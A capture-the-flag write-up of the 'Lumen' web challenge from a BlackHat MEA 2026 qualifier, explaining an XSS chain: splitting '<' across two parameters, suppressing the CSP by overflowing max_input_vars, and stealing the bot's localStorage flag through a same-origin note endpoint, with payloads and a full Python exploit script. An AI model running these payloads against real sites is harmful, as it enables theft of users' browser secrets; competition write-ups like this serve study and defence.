Usama Arshad. Résumé

Challenge 13 of 15 Web Full writeup

BlackHat MEA 2026 · Qualifiers

Lumen.

Lumen is a read-only document relay with a content security policy locked down on every page, so the operator is confident that even a stray reflection cannot run. Sign in is not your problem. The operator is, and the operator keeps something valuable in their browser. Find the reflection, get it to run despite the policy, and convince the operator to hand it over.

Web· 4 November 2026

TL;DR

A < is smuggled into the ?p=view 404 reflection across the dir/file parameter boundary, because index.php calls urldecode() on the concatenation after each half was sanitised separately; the strict per-request nonce CSP is then deleted entirely by sending >1000 query parameters, which makes PHP print a max_input_vars request-startup warning before the script runs, so header("Content-Security-Policy: ...") fails with "headers already sent". The resulting unrestricted onerror handler reads the operator bot's localStorage.flag and posts it to the app's own ?p=trace note store, which the attacker reads back.

Captured

01Recon

The web_lumen.zip handout contains the whole app:

snippet
web_lumen/Dockerfile
web_lumen/docker-compose.local.yml
web_lumen/run                       -> supervisord -c /app/supervisord.conf
web_lumen/application/run           -> php -S 0.0.0.0:5000 (+ node bot.js)
web_lumen/application/supervisord.conf
web_lumen/application/bot.js        (playwright 1.49.1 headless chromium)
web_lumen/application/public/index.php   (the entire web app, ~120 lines)

index.php, single-file router on?p=, four pages:

  • ?p=home, form posting p=view&dir=&file=.
  • ?p=view, the reflection. dir / file go through clean(), then:
php
$path = urldecode($dir . $file);
$key = preg_replace('#^docs/#', '', $path);
if (isset($DOCS[$key])) { ...htmlspecialchars... }
else echo '<div class="card"><p class="err">404 - no document at <b>'.$path.'</b></p>...';

The 404 branch echoes $path raw.

  • ?p=report, POSTs url; accepts anything matching #^https?://#i with no \x00-\x1f, appends it to QUEUE_FILE (default /tmp/lumen/queue) for the bot.
  • ?p=trace, id must match /^[A-Za-z0-9]{8,64}$/. With note it writes substr($note,0,1024) to TRACE_DIR/$id (cap: 512 files); without note it prints the file inside <pre>. This is a same-origin, attacker-readable write/read channel, no external collaborator server needed.

Header set on every response (index.php:3):

php
$nonce = bin2hex(random_bytes(16));
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce'; style-src 'nonce-$nonce';
img-src 'self'; base-uri 'none';");

No unsafe-inline, no unsafe-eval, fresh 32-hex nonce per request, HTML injection alone is inert. Confirmed live:

snippet
Content-Security-Policy: default-src 'none'; script-src 'nonce-9c483c82215a5d2e94d8a9127227f0d6'; style-src
'nonce-...'; img-src 'self'; base-uri 'none';

bot.js, the operator. Seeds the secret into the browser origin, then visits the reported URL after rewriting its host to itself:

snippet
const SELF = 'http://127.0.0.1:5000';
function localise(url){ const u = new URL(url); return SELF + u.pathname + u.search + u.hash; }
await page.goto(SELF + '/?p=home');
await page.evaluate((f) => localStorage.setItem('flag', f), FLAG);   // FLAG = /flag.txt
await page.goto(target); await page.waitForTimeout(4000);

Because localise() forces the origin back to 127.0.0.1:5000, the payload always executes on the same origin that holds localStorage.flag, so the exfil only needs same-origin JS, and there is no SSRF/ external-host angle to chase.

application/run, the load-bearing detail:

snippet
exec php -d display_errors=1 -d output_buffering=0 -d max_input_vars=1000 -d variables_order=GPCS -S
0.0.0.0:5000 -t /app/public

display_errors=1 + output_buffering=0 + a hard max_input_vars is the planted CSP bypass.

02The bug

Three distinct bugs, all required.

  1. Decode-after-sanitise, split across two parameters (?p=view)
php
function clean($s) {
  if (!is_string($s)) return false;
  if (preg_match('/%3c/i', $s)) return false;   // blocklist: literal "%3c" only
  return htmlspecialchars($s, ENT_QUOTES);
}
...
$path = urldecode($dir . $file);                // decode happens AFTER escaping

Two compounding errors:

  • urldecode() runs after htmlspecialchars(), so %3e, %22, %27, %26 in the input are resurrected into >, ", ', & in the output, the escaping is undone.
  • dir and file are cleaned separately but concatenated before decoding. dir ending in % and file starting in 3c means neither half ever contains the blocked string %3c, yet the joined string does. dir=docs/%25 decodes (by PHP's own $_GET handling) to docs/%; file=3c... stays 3c...; the concatenation is docs/%3c... and urldecode() turns it into docs/<....

Everything after the smuggled < is supplied double-URL-encoded so it survives two decode passes: $_GET strips one layer (leaving only % -hex and alphanumerics, which pass both the %3c blocklist and htmlspecialchars untouched), and urldecode() strips the second, yielding raw ", =, spaces and > in the echoed $path.

  1. CSP deletion via max_input_vars startup warning

max_input_vars=1000 is enforced during PHP request startup, before a line of index.php executes. With display_errors=1 and output_buffering=0, that warning is written straight to the response body, which flushes the HTTP headers. header() on line 3 then cannot run:

HTTP/1.1 200 OK X-Powered-By: PHP/8.3.33 Content-type: text/html; charset=UTF-8

<b>Warning</b>: PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini. in <b>Unknown</b> on line <b>0</b><br /> <b>Warning</b>: Cannot modify header information - headers already sent in <b>/app/public/index.php</b> on line <b>3</b><br />

No Content-Security-Policy header at all. The nonce architecture is bypassed not by guessing or stealing the nonce but by preventing the policy from ever being sent, inline onerror= then executes normally.

  1. ?p=trace as an unauthenticated shared note store

Any client can write (&note=) and any client can read (no note) the same id. The bot writes the flag under id=lumenpwn01; the attacker reads it back from the same endpoint. Same-origin, so it also satisfies img-src 'self' had the CSP survived.

03Exploitation

  1. Build the injected HTML. Everything after the single smuggled <:
snippet
   img src=x onerror="new Image().src='/?
p=trace&id=lumenpwn01&note='+encodeURIComponent(localStorage.getItem('flag'))">

Double-URL-encode it (quote(quote(s, safe=''), safe='')) so it passes clean() as inert % -hex text and only materialises after urldecode().

  1. Smuggle the < across the parameter boundary.
snippet
?p=view&dir=docs/%25&file=3c<double-encoded payload>

$_GET['dir'] = docs/%, $_GET['file'] = 3cimg%20src%3Dx%20onerror%3D%22...%22%3E. Neither matches / %3c/i; htmlspecialchars is a no-op on both. urldecode("docs/%". "3cimg%20...") yields the live tag. Verified against the local container:

html
   404 - no document at <b>docs/<img src=x onerror="new Image().src='/?
p=trace&id=lumenpwn01&note='+encodeURIComponent(localStorage.getItem('flag'))"></b>
  1. Kill the CSP. Append 1100 dummy parameters (a0=1&a1=1&…&a1099=1), pushing the request over max_input_vars=1000. Response comes back with the two PHP warnings and no Content-Security- Policy header. Final URL is ~8004 bytes, well inside the PHP built-in server's request-line limit.
  2. Phish the operator. POST the full URL to?p=report:
http
POST /?p=report   url=http://<host>/?p=view&dir=docs/%25&file=3c…&a0=1&…

It matches ^https?:// and has no control characters, so it is queued. bot.js picks it up within ~1s, seeds localStorage.flag on http://127.0.0.1:5000/?p=home, rewrites the URL's host via localise() to that same origin, and loads it. The <img src=x> fails, onerror fires with no CSP to stop it, and reads localStorage.getItem('flag') from the bot's own origin.

  1. Collect. The payload's new Image().src writes the flag to TRACE_DIR/lumenpwn01. Poll:
http
   GET /?p=trace&id=lumenpwn01     ->    <div class="card"><h1>delivery trace</h1><pre>BHFlagY{...}</pre></
div>
  1. Result. Local container returned the placeholder BHFlagY{local_test_flag} (no /flag.txt, falls back to DYN_FLAG). Against the live instances, one run each:
  2. http://k85c055eb8836a37c0d581c3dc51ab1c2.playat.flagyard.com → BHFlagY{...}
  3. http://k9bade1ac79139f00d48a9813d1318e9e.playat.flagyard.com → BHFlagY{...}

Full one-shot script: /home/kali/Desktop/CTF/web/Lumen/exploit.py <base-url>

Key code TRACE_ID = "lumenpwn01"

python
def dbl(s): # survives $_GET's decode, then index.php's urldecode()
    return urllib.parse.quote(urllib.parse.quote(s, safe=""), safe="")

js = ("new Image().src='/?p=trace&id=%s&note='"
      "+encodeURIComponent(localStorage.getItem('flag'))" % TRACE_ID)
rest = 'img src=x onerror="%s">' % js       # everything after the single '<'

# '<' is smuggled across the dir/file boundary: clean() never sees "%3c"
q = "?p=view&dir=docs/%25&file=3c" + dbl(rest)
# >1000 GET vars -> startup warning is printed -> headers already sent -> no CSP
q += "&" + "&".join("a%d=1" % i for i in range(1100))
target = BASE + "/" + q

body = urllib.parse.urlencode({"url": target}).encode()
urllib.request.urlopen(BASE + "/?p=report", data=body, timeout=15)

for _ in range(20):
    time.sleep(3)
    out = get(BASE + "/?p=trace&id=" + TRACE_ID)
    if "delivery trace" in out:
        print("[+] " + out.split("<pre>")[1].split("</pre>")[0]); break

04Dead ends

  • The chain was derived statically from the handout and validated in one pass against a local docker compose build, so there were no failed exploitation attempts. The two things that could have burned time were both settled by reading application/run and bot.js rather than by probing:
  • Nonce-stealing is a dead end by design. The nonce is bin2hex(random_bytes(16)) regenerated per request and never reflected anywhere reachable, so any approach based on leaking or reusing it fails. The intended primitive is suppressing the header, and the only hint is the deliberately odd -d display_errors=1 -d output_buffering=0 -d max_input_vars=1000 flag set in application/run, easy to skim past when reading only index.php.
  • External-host exfiltration is a dead end too. bot.js's localise() rewrites any submitted URL's origin to http://127.0.0.1:5000, and img-src 'self' would have blocked an outbound beacon anyway;?p=trace is the intended in-band channel.
  • Single-URL-encoding the payload does not work: $_GET already performs one decode, so the tag would arrive at clean() as literal < / " / > and be neutralised by htmlspecialchars. The payload must be double-encoded so it is still inert % -hex when clean() inspects it, and only becomes markup at the later urldecode().
  • The local container has no /flag.txt, so it yields only BHFlagY{local_test_flag} from DYN_FLAG, the real flag required running the finished script against the live instance.
  • Instances are per-session: the two flags listed correspond to two different playat.flagyard.com hosts, with the identical unmodified exploit run against each.